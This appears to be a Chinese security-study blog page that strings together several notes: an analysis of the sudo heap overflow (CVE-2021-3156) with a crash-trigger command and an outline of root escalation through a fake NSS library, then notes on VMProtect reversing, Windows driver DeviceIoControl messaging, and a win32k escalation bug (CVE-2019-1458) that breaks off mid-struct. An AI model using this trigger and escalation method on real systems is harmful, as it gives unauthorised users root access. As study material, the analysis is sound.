0%

从这个漏洞入手,一是为了更加熟悉linux,扩宽自己linux的知识面,二是想把学习的pwn知识实践操作一下。

摘要

该漏洞成因主要是由于sudo在处理单个反斜杠结尾的命令,会出现逻辑上的错误,从而导致堆溢出。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。(后面分析原源代码会提到),只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

漏洞检测

在非root权限下,运行sudoedit -s /,如果出现下图这样,说明系统受到该漏洞影响。

image-20220907220817214

代码逻辑分析

命令行模式下运行sudo,加上-s选项会设置MODE_SHELL flag;加上-i选项会设置MODE_SHELL flag 和 MODE_LOGIN_SHELL flag。sudo的main() 函数开头调用了parse_args()parse_args() 会连接所有命令行参数。并给元字符加反斜杠来重写 argv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//parse_args.c   parse_args()
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //检查是否开启 MODE_SHELL
char **av, *cmnd = NULL;
int ac = 1;

if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;

cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);

for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\'; //添加反斜杠
*dst++ = *src; //原参数
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\0';

ac += 2; /* -c cmnd */
}

suduers.c中的sudoers_policy_main()中调用了 set_cmnd()函数,在 set_cmnd()函数中,首先根据参数使用 strlen()函数计算了参数的 size,再调用 malloc()函数分配了 size大小的堆空间 user_args 。随后判断是否开启了 MODE_SHELL,如果开启了将会 连接命令行参数并存入堆空间 user_args

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// sudoers.c set_cmnd()    
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) { // 把命令行参数放入from里面
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++; // 将输入的命令行参数拷贝到堆空间 user_args
}
*to++ = ' ';
}
...
}
...
}

小总结一下,首先大概就是有两个流程,根据上面的分析,我们需要触发漏洞需要启用MODE_SHELL,但是如果启用了该标志,在第一个逻辑parge_args()中就会对所有参数进行转义,触发漏洞的 \,将会被转义为 \\,这样就无法触发漏洞了。

1
2
3
4
5
6
// parse_args() 换码代码
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
// set_cmnd() 漏洞代码
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

所以要触发漏洞就需要设置 MODE_SHELLMODE_EDIT/MODE_CHECK ,但不设置 MODE_RUN,但是在parge_args()代码中,设置了MODE_EDIT/MODE_CHECKparse_args()就会从valid_flags移除MODE_SHELL,如果此时还设置了MODE_SHELL就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
                 case 'e': 
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);

所以选择使用 sudoedit。因为 sudoedit还是会被软链接到使用 sudo命令,但是在 parse_args()函数中会自动设置 MODE_EDIT和不会重置 valid_flags,则 MODE_SHELL仍然在 valid_flags中 ,而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//parse_args.c parse_args()
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|\ MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS; //valid_flags默认参数包含MODE_SHELL,不包含MODE_RUN
...
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT; //设置MODE_EDIT
sudo_settings[ARG_SUDOEDIT].value = "true";
}
...
case 's':
sudo_settings[ARG_USER_SHELL].value = "true";
SET(flags, MODE_SHELL);
break;

所以,只要执行sudoedit -s \,就能同时设置MODE_EDITMODE_SHELL,但不设置MODE_RUN。跳过parse_args()中的换码代码,直接执行漏洞代码set_cmnd(),溢出user_args堆缓冲区。

漏洞成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {

if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1])) // 关键逻辑!!!
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}

还是上面的set_cmnd函数,如果输入指令是

1
sudoedit -s '\' 112233445566

那么进入该函数时,NewArgv的结构如下

1
2
3
NewArgv[0]: sudoedit
NewArgv[1]: \
NewArgv[2]: 112233445566

首先会计算 NewArgv [1]、[2] 两个参数的长度 2 + 13 = 15 .

因此user_args分配的内存大小为 15 字节

然后会把 NewArgv[1]、[2] 的数据拷贝到user_args里面。

拷贝过程中如果 from[0]\,且 from[1] 不是空格就会from++。所以在处理NewArgv[1]时,from[0] 就是 \from[1]\x00 ,会通过这个判断让 from++ ,然后后面会再次from++.

之后from就指向了NewArgv[1]字符串\x00后面一个字符的位置,后面紧跟着的是NewArgv[2],所以此时 from 执行的就是 NewArgv[2] 的开头

从而会再次进入while循环把NewArgv[2]拷贝到user_args

然后处理NewArgv[2]再次把NewArgv[2]拷贝到user_args

因此最终结果就是 NewArgv[2] 被拷贝了两次,实际的写入数据长度为26字节

漏洞利用

  1. user_args堆缓冲区的size可控(根据前面set_cmnd()就是命令行参数合并后的长度);
  2. 能分别控制size和溢出的内容(第一段命令行参数后紧跟第二段命令行参数,第二段命令行参数不包含在size中);
  3. 可以写null字节到user_args(每个以单反斜杠结尾的命令行参数或环境变量,都能往user_args写1个null字节)

最后的提权是通过堆溢出覆盖nss_load_library函数加载so的时候需要用到的结构体service_user,覆盖此结构体中的so名字符串,这样就可以让程序加载我们指定的so文件,从而完成任意代码执行。

目标

溢出后覆盖service_user结构。该结构出现在libc的nss_load_library()函数中,用于加载动态链接库。如果能覆盖service_user->name,就能指定加载我们伪造的库,利用root权限运行非root权限的库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 1. service_user 结构
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;

// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table, ni->name);// (1)设置 ni->library

if (ni->library == NULL)
return -1;
}

if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];

/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // (2)伪造的库文件名必须是 libnss_xxx.so
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);

ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加载目标库
//continue long long function

根据上面的代码,我们知道需要将 ni->library覆盖为 null,将 ni->name覆盖我们自己伪造的库名字,且伪造的库文件名必须是 libnss_xxx.so

实战分析

借助gdb工具对其进行调试,首先输入指令gdb sudoedit,然后设置参数set args -s '\' AAAAAAAAAAAAAAAA,在代码switch部分下断点。

image-20230329200144522

详细步入下面policy_check函数查看

image-20230329200239086

紧跟着会进入到sudoers_policy_check------>sudoers_policy_main

在该函数中会将argcargv传递给NewArgcNewArgv

image-20230329202430790

image-20230329202955337

然后进入set_cmnd()函数,也就是前面说的溢出点,首先在计算参数长度这里,输出size为19(反斜杠长度1+1+16*A+1)

image-20230329202511177

输入heap查看堆内存,可以看到原本size为19,所以申请了一个0x20的chunk(0x556d7f991e70),但是拷贝了0x22个字节进去,所以把下一个chunk的size给覆盖掉了,所以才导致后一个堆块大小为0x4141414141414141

image-20230329203631646

(tips:由于我用的是docker镜像,所以调试运行会出现错误warning: Error disabling address space randomization: Operation not permitted。这是由于linux 内核为了安全起见,采用了Seccomp(secure computing)的沙箱机制来保证系统不被破坏。它能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用,即read(), write(), exit()和sigreturn(),否则进程便会被终止。

解决:docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined 你的容器才能利用GDB调试)

源程序

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main()
{
auto v1 = 1;
auto v2 = 2;
auto vsum = v1 + v2;
printf("1 + 2 = %d", vsum);
getchar();
return 0;
}

动态分析

首先有几个寄存器需要关注:

寄存器 所存储数据
R12 Handler表(未赋值)
R13 Handler基址
RBP 栈顶指针
RSI 字节码缓冲区(偏移)
RDI 伪寄存器组
RBX 解密Seed

VMProtect首先需要将所需要的寄存器环境进行初始化,下面一次是:赋值handler表,字节码缓冲区操作,取操作码, 操作码解密

image-20220831160233365

接下来跳转到下方代码,使用操作码索引handler偏移,然后加上基址,跳转到handler处

image-20220831162154098

跟着跳转来到这里,红框中取操作数

image-20220831192745437

可以看到是一个POP操作,将栈中数据POP到一个伪寄存器(BYTE:[RSI-1]指示了要POP到哪个寄存器)

image-20220831163555847

紧跟着跳回这里,操作数索引伪寄存器组,赋值为rdx

image-20220831192943018

到这里第一个handler就完成了,接下来的操作就是继续重复上面的取操作码,索引handler表,然后跳转到新的handler。

新的handler如下,取四字节操作数

image-20220831194547606

下面应该是对操作数进行解码

image-20220831194635009

然后push rax

image-20220831194748341

image-20220831195037885

第一条jmp会跳到如下位置,ja操作其实是栈溢出错误检查(如果溢出了,那rbp会超过rdi+0xe0),结合上图中的红框代码,可以知道RDI指向的位寄存器组大小为0xE0

image-20220831195243264

image-20220831195350669

小总结

上面的一些handler大概都是一些vmp虚拟的push、pop、jmp的操作,也就是和前面笔记所说的一样,就是把基于寄存器的CPU代码,改造成基于堆栈的CPU的伪代码。

vmp3与vmp1和vmp2的最大区别,解析bytescode不在由VMDispatcher 分发下一个指令执行什么了(每个指令记为一个handle) 而是有vm_bytescode掌管,执行上一个指令才能得到下一个指令地址这样一来代码的膨胀可想而知。在VM_Instruct内部应该是没有CALL指令的。

Ring3和Ring0的通信DeviceIoControl

这种通信方式是驱动程序与应用程序自定义IO控制码,然后调用DeviceIoControl函数,IO管理器会产生一个MajorFunctionIRP_MJ_DEVICE_CONTROLDeviceIoControl函数会产生此IRP),MinorFunction 为自己定义的控制码的IRP,系统就调用相应的处理IRP_MJ_DEVICE_CONTROL的派遣函数,你在派遣函数中判断MinorFunction ,是自定义的控制码你就进行相应的处理。

操作码

1
#define IOCTL_Device_Function CTL_CODE(DeviceType, Function, Method, Access)

  * IOCTL_Device_Function:生成的IRP的MinorFunction
  * DeviceType:设备对象的类型。一般以FILE_DEVICE_XXX的形式,但是这主要用于基于硬件的驱动程序,对于像本例子这样的软件驱动程序来说,这部分并不是很重要。微软规定第三方的值应该从0x8000开始。
  * Function :自定义的IO控制码。自己定义时取0x800到0xFFF,因为0x0到0x7FF是微软保留。
  * Method :数据的操作模式。

​ METHOD_BUFFERED:缓冲区模式

​ METHOD_IN_DIRECT:直接写模式

​ METHOD_OUT_DIRECT:直接读模式

​ METHOD_NEITHER :Neither模式

  • Access:访问权限,可取值有:

​ FILE_ANY_ACCESS:表明用户拥有所有的权限

​ FILE_READ_DATA:表明权限为只读

​ FILE_WRITE_DATA:表明权限为可写

​ 也可以 FILE_WRITE_DATA | FILE_READ_DATA:表明权限为可读可写,但还没达到FILE_ANY_ACCESS的权限。

缓冲区方式的读写操作

简单说一下这四种操作模式,首先第一种**缓冲区模式METHOD_BUFFERED**,表示系统将应用程序提供缓冲区的数据复制到内核模式下的地址中,这个地址用pIrp->AssociatedIrp.SystemBuffer来记录。因此这种方式的通信比较安全和方便,但是效率较低,适合数据量比较小的时候使用。

image-20220812161136566

第二种直接方式读写METHOD_IN/OUT_DIRECT,与第一种方式不同,操作系统会将用户模式下的缓冲区锁住,然后操作系统将这段缓冲区在内核模式地址再次映射一遍。这样,用户模式和内核模式的缓冲区指向的是同一区域的物理内存。操作系统将用户模式地址锁定后,会用内存描述符表(MDL)记录这段内存。

这种方式效率高,但是单独占用物理页面,无法再进行其它操作(例如文件读写) ,适合数据量较大时使用。

image-20220812162552303

第三种是**其他读写方式METHOD_NEITHER **,派遣函数直接读写应用程序提供的缓冲区地址,在驱动程序中,直接操作应用程序的缓冲区地址是很危险的。只有驱动程序与应用程序运行在相同线程上下文的情况下,才能使用这种方式。

驱动的派遣函数中输入缓冲区可以通过I/O堆栈(IO_STACK_LOCATION)的stack->Parameters.DeviceIoControl.Type3InputBuffer得到。输出缓冲区可以通过pIrp->UserBuffer得到。在读写前使用ProbeForReadProbeForWrite函数探测地址是否可读和可写。

image-20220812163159811

通信流程:

  * 驱动程序和应用程序自定义好IO控制码
  * 驱动程序定义驱动设备名,符号链接名, 将符号链接名与设备对象名称关联 ,等待IO控制码(IoCreateDeviceIoCreateSymbolicLink
  * 应用程序由符号链接名通过CreateFile函数获取到设备句柄DeviceHandle,再用DeviceIoControl通过这个设备句柄发送控制码给派遣函数。

总之,三环函数->NTDLL->封装IRP->由驱动进行接收处理->最后返回给R3

代码

1.首先需要和驱动程序一样定义操作码,以便通信

image-20220815102456775

2.然后打开符号链接

image-20220815101857369

3.通过DeviceIoControl将操作码等数据发给驱动,表明要执行什么操作,注意Write以及Read操作需要调用该函数两次,Write一次发送操作路径,一次发送操作数据,Read一次发送操作路径,返回文件大小;一次发送操作长度,返回文件内容。

image-20220815102859789

image-20220815183826750

Ring0层

驱动程序首先需要创建设备名称和符号链接,并且需要创建设备对象,目的就是为了接受R3层的IRP数据,符号链接主要是为设备对象创建的,创建了符号链接才能再yR3层看到驱动。并且只有驱动内部含有符号链接名,应用层才能以文件形式打开这个驱动。

驱动和设备的关系

驱动: 驱动则是用来操作设备的.

设备: 设备则是我们常说的外设. 比如键盘. 显示器.鼠标等等。

驱动和设备之间的关系是一对多的关系,驱动可以操作很多设备。

依据上面的数据关系来说,设备对象中肯定会存储驱动对象结构体的指针,驱动对象做外键存储到设备对象中.

代码

1.创建设备名称和符号链接

image-20220813131057472

2.注册回调函数

image-20220815101449066

3.主要的操作函数,用来处理与Ring3的交互

image-20220815184356417

因为采用的是缓冲区的方式读写,所以按照前面说的,输入输出其实都是一个缓冲区。

摘要

CVE-2019-1458Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。该漏洞存在于win32k的xxxPaintSwitchWindow函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。但是该地址可以通过SetWindowLong函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。

通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra,通过内存布局,在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。

成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。

漏洞分析

漏洞存在于函数为xxxPaintSwitchWindow,我们知道64位程序的调用约定是rcx,rdx,r8,r9。该函数只有一个参数,也就是窗口对象的tagWnd结构体,该结构体在Win7是公开的。下面圈出来的地方分别是,先将tagWND赋给rsi,然后取出扩展区域最开始的八个字节保存的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
typedef struct _tagWND                                     // 170 elements, 0x128 bytes (sizeof) 
{
/*0x000*/ struct _THRDESKHEAD head; // 5 elements, 0x28 bytes (sizeof)
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x028*/ ULONG32 state;
struct // 32 elements, 0x4 bytes (sizeof)
{
/*0x028*/ INT32 bHasMeun : 1; // 0 BitPosition
/*0x028*/ INT32 bHasVerticalScrollbar : 1; // 1 BitPosition
/*0x028*/ INT32 bHasHorizontalScrollbar : 1; // 2 BitPosition
/*0x028*/ INT32 bHasCaption : 1; // 3 BitPosition
/*0x028*/ INT32 bSendSizeMoveMsgs : 1; // 4 BitPosition
/*0x028*/ INT32 bMsgBox : 1; // 5 BitPosition
/*0x028*/ INT32 bActiveFrame : 1; // 6 BitPosition
/*0x028*/ INT32 bHasSPB : 1; // 7 BitPosition
/*0x028*/ INT32 bNoNCPaint : 1; // 8 BitPosition
/*0x028*/ INT32 bSendEraseBackground : 1; // 9 BitPosition
/*0x028*/ INT32 bEraseBackground : 1; // 10 BitPosition
/*0x028*/ INT32 bSendNCPaint : 1; // 11 BitPosition
/*0x028*/ INT32 bInternalPaint : 1; // 12 BitPosition
/*0x028*/ INT32 bUpdateDirty : 1; // 13 BitPosition
/*0x028*/ INT32 bHiddenPopup : 1; // 14 BitPosition
/*0x028*/ INT32 bForceMenuDraw : 1; // 15 BitPosition
/*0x028*/ INT32 bDialogWindow : 1; // 16 BitPosition
/*0x028*/ INT32 bHasCreatestructName : 1; // 17 BitPosition
/*0x028*/ INT32 bServerSideWindowProc : 1; // 18 BitPosition
/*0x028*/ INT32 bAnsiWindowProc : 1; // 19 BitPosition
/*0x028*/ INT32 bBeingActivated : 1; // 20 BitPosition
/*0x028*/ INT32 bHasPalette : 1; // 21 BitPosition
/*0x028*/ INT32 bPaintNotProcessed : 1; // 22 BitPosition
/*0x028*/ INT32 bSyncPaintPending : 1; // 23 BitPosition
/*0x028*/ INT32 bRecievedQuerySuspendMsg : 1; // 24 BitPosition
/*0x028*/ INT32 bRecievedSuspendMsg : 1; // 25 BitPosition
/*0x028*/ INT32 bToggleTopmost : 1; // 26 BitPosition
/*0x028*/ INT32 bRedrawIfHung : 1; // 27 BitPosition
/*0x028*/ INT32 bRedrawFrameIfHung : 1; // 28 BitPosition
/*0x028*/ INT32 bAnsiCreator : 1; // 29 BitPosition
/*0x028*/ INT32 bMaximizesToMonitor : 1; // 30 BitPosition
/*0x028*/ INT32 bDestroyed : 1; // 31 BitPosition
};
};
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x02C*/ ULONG32 state2;
struct // 30 elements, 0x4 bytes (sizeof)
{
/*0x02C*/ INT32 bWMPaintSent : 1; // 0 BitPosition
/*0x02C*/ INT32 bEndPaintInvalidate : 1; // 1 BitPosition
/*0x02C*/ INT32 bStartPaint : 1; // 2 BitPosition
/*0x02C*/ INT32 bOldUI : 1; // 3 BitPosition
/*0x02C*/ INT32 bHasClientEdge : 1; // 4 BitPosition
/*0x02C*/ INT32 bBottomMost : 1; // 5 BitPosition
/*0x02C*/ INT32 bFullScreen : 1; // 6 BitPosition
/*0x02C*/ INT32 bInDestroy : 1; // 7 BitPosition
/*0x02C*/ INT32 bWin31Compat : 1; // 8 BitPosition
/*0x02C*/ INT32 bWin40Compat : 1; // 9 BitPosition
/*0x02C*/ INT32 bWin50Compat : 1; // 10 BitPosition
/*0x02C*/ INT32 bMaximizeMonitorRegion : 1; // 11 BitPosition
/*0x02C*/ INT32 bCloseButtonDown : 1; // 12 BitPosition
/*0x02C*/ INT32 bMaximizeButtonDown : 1; // 13 BitPosition
/*0x02C*/ INT32 bMinimizeButtonDown : 1; // 14 BitPosition
/*0x02C*/ INT32 bHelpButtonDown : 1; // 15 BitPosition
/*0x02C*/ INT32 bScrollBarLineUpBtnDown : 1; // 16 BitPosition
/*0x02C*/ INT32 bScrollBarPageUpBtnDown : 1; // 17 BitPosition
/*0x02C*/ INT32 bScrollBarPageDownBtnDown : 1; // 18 BitPosition
/*0x02C*/ INT32 bScrollBarLineDownBtnDown : 1; // 19 BitPosition
/*0x02C*/ INT32 bAnyScrollButtonDown : 1; // 20 BitPosition
/*0x02C*/ INT32 bScrollBarVerticalTracking : 1; // 21 BitPosition
/*0x02C*/ INT32 bForceNCPaint : 1; // 22 BitPosition
/*0x02C*/ INT32 bForceFullNCPaintClipRgn : 1; // 23 BitPosition
/*0x02C*/ INT32 FullScreenMode : 3; // 24 BitPosition
/*0x02C*/ INT32 bCaptionTextTruncated : 1; // 27 BitPosition
/*0x02C*/ INT32 bNoMinmaxAnimatedRects : 1; // 28 BitPosition
/*0x02C*/ INT32 bSmallIconFromWMQueryDrag : 1; // 29 BitPosition
/*0x02C*/ INT32 bShellHookRegistered : 1; // 30 BitPosition
/*0x02C*/ INT32 bWMCreateMsgProcessed : 1; // 31 BitPosition
};
};
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x030*/ ULONG32 ExStyle;
struct // 32 elements, 0x4 bytes (sizeof)
{
/*0x030*/ INT32 bWS_EX_DLGMODALFRAME : 1; // 0 BitPosition
/*0x030*/ INT32 bUnused1 : 1; // 1 BitPosition
/*0x030*/ INT32 bWS_EX_NOPARENTNOTIFY : 1; // 2 BitPosition
/*0x030*/ INT32 bWS_EX_TOPMOST : 1; // 3 BitPosition
/*0x030*/ INT32 bWS_EX_ACCEPTFILE : 1; // 4 BitPosition
/*0x030*/ INT32 bWS_EX_TRANSPARENT : 1; // 5 BitPosition
/*0x030*/ INT32 bWS_EX_MDICHILD : 1; // 6 BitPosition
/*0x030*/ INT32 bWS_EX_TOOLWINDOW : 1; // 7 BitPosition
/*0x030*/ INT32 bWS_EX_WINDOWEDGE : 1; // 8 BitPosition
/*0x030*/ INT32 bWS_EX_CLIENTEDGE : 1; // 9 BitPosition
/*0x030*/ INT32 bWS_EX_CONTEXTHELP : 1; // 10 BitPosition
/*0x030*/ INT32 bMakeVisibleWhenUnghosted : 1; // 11 BitPosition
/*0x030*/ INT32 bWS_EX_RIGHT : 1; // 12 BitPosition
/*0x030*/ INT32 bWS_EX_RTLREADING : 1; // 13 BitPosition
/*0x030*/ INT32 bWS_EX_LEFTSCROLLBAR : 1; // 14 BitPosition
/*0x030*/ INT32 bUnused2 : 1; // 15 BitPosition
/*0x030*/ INT32 bWS_EX_CONTROLPARENT : 1; // 16 BitPosition
/*0x030*/ INT32 bWS_EX_STATICEDGE : 1; // 17 BitPosition
/*0x030*/ INT32 bWS_EX_APPWINDOW : 1; // 18 BitPosition
/*0x030*/ INT32 bWS_EX_LAYERED : 1; // 19 BitPosition
/*0x030*/ INT32 bWS_EX_NOINHERITLAYOUT : 1; // 20 BitPosition
/*0x030*/ INT32 bUnused3 : 1; // 21 BitPosition
/*0x030*/ INT32 bWS_EX_LAYOUTRTL : 1; // 22 BitPosition
/*0x030*/ INT32 bWS_EX_NOPADDEDBORDER : 1; // 23 BitPosition
/*0x030*/ INT32 bUnused4 : 1; // 24 BitPosition
/*0x030*/ INT32 bWS_EX_COMPOSITED : 1; // 25 BitPosition
/*0x030*/ INT32 bUIStateActive : 1; // 26 BitPosition
/*0x030*/ INT32 bWS_EX_NOACTIVATE : 1; // 27 BitPosition
/*0x030*/ INT32 bWS_EX_COMPOSITEDCompositing : 1; // 28 BitPosition
/*0x030*/ INT32 bRedirected : 1; // 29 BitPosition
/*0x030*/ INT32 bUIStateKbdAccelHidden : 1; // 30 BitPosition
/*0x030*/ INT32 bUIStateFocusRectHidden : 1; // 31 BitPosition
};
};
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x034*/ ULONG32 style;
struct // 31 elements, 0x4 bytes (sizeof)
{
/*0x034*/ INT32 bReserved1 : 16; // 0 BitPosition
/*0x034*/ INT32 bWS_MAXIMIZEBOX : 1; // 16 BitPosition
/*0x034*/ INT32 bReserved2 : 16; // 0 BitPosition
/*0x034*/ INT32 bWS_TABSTOP : 1; // 16 BitPosition
/*0x034*/ INT32 bReserved3 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused5 : 1; // 16 BitPosition
/*0x034*/ INT32 bWS_MINIMIZEBOX : 1; // 17 BitPosition
/*0x034*/ INT32 bReserved4 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused6 : 1; // 16 BitPosition
/*0x034*/ INT32 bWS_GROUP : 1; // 17 BitPosition
/*0x034*/ INT32 bReserved5 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused7 : 2; // 16 BitPosition
/*0x034*/ INT32 bWS_THICKFRAME : 1; // 18 BitPosition
/*0x034*/ INT32 bReserved6 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused8 : 2; // 16 BitPosition
/*0x034*/ INT32 bWS_SIZEBOX : 1; // 18 BitPosition
/*0x034*/ INT32 bReserved7 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused9 : 3; // 16 BitPosition
/*0x034*/ INT32 bWS_SYSMENU : 1; // 19 BitPosition
/*0x034*/ INT32 bWS_HSCROLL : 1; // 20 BitPosition
/*0x034*/ INT32 bWS_VSCROLL : 1; // 21 BitPosition
/*0x034*/ INT32 bWS_DLGFRAME : 1; // 22 BitPosition
/*0x034*/ INT32 bWS_BORDER : 1; // 23 BitPosition
/*0x034*/ INT32 bMaximized : 1; // 24 BitPosition
/*0x034*/ INT32 bWS_CLIPCHILDREN : 1; // 25 BitPosition
/*0x034*/ INT32 bWS_CLIPSIBLINGS : 1; // 26 BitPosition
/*0x034*/ INT32 bDisabled : 1; // 27 BitPosition
/*0x034*/ INT32 bVisible : 1; // 28 BitPosition
/*0x034*/ INT32 bMinimized : 1; // 29 BitPosition
/*0x034*/ INT32 bWS_CHILD : 1; // 30 BitPosition
/*0x034*/ INT32 bWS_POPUP : 1; // 31 BitPosition
};
};
/*0x038*/ VOID* hModule;
/*0x040*/ UINT16 hMod16;
/*0x042*/ UINT16 fnid;
/*0x044*/ UINT8 _PADDING0_[0x4];
/*0x048*/ struct _tagWND* spwndNext;
/*0x050*/ struct _tagWND* spwndPrev;
/*0x058*/ struct _tagWND* spwndParent;
/*0x060*/ struct _tagWND* spwndChild;
/*0x068*/ struct _tagWND* spwndOwner;
/*0x070*/ struct _tagRECT rcWindow; // 4 elements, 0x10 bytes (sizeof)
/*0x080*/ struct _tagRECT rcClient; // 4 elements, 0x10 bytes (sizeof)
/*0x090*/ FUNCT_0075_0FB0_lpfnWndProc_aStoCidPfn* lpfnWndProc;
/*0x098*/ struct _tagCLS* pcls;
/*0x0A0*/ struct _HRGN__* hrgnUpdate;
/*0x0A8*/ struct _tagPROPLIST* ppropList;
/*0x0B0*/ struct _tagSBINFO* pSBInfo;
/*0x0B8*/ struct _tagMENU* spmenuSys;
/*0x0C0*/ struct _tagMENU* spmenu;
/*0x0C8*/ struct _HRGN__* hrgnClip;
/*0x0D0*/ struct _HRGN__* hrgnNewFrame;
/*0x0D8*/ struct _LARGE_UNICODE_STRING strName; // 4 elements, 0x10 bytes (sizeof)
/*0x0E8*/ INT32 cbwndExtra;
/*0x0EC*/ UINT8 _PADDING1_[0x4];
/*0x0F0*/ struct _tagWND* spwndLastActive;
/*0x0F8*/ struct _HIMC__* hImc;
/*0x100*/ UINT64 dwUserData;
/*0x108*/ struct _ACTIVATION_CONTEXT* pActCtx;
/*0x110*/ struct _D3DMATRIX* pTransform;
/*0x118*/ struct _tagWND* spwndClipboardListenerNext;
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x120*/ ULONG32 ExStyle2;
struct // 12 elements, 0x4 bytes (sizeof)
{
/*0x120*/ INT32 bClipboardListener : 1; // 0 BitPosition
/*0x120*/ INT32 bLayeredInvalidate : 1; // 1 BitPosition
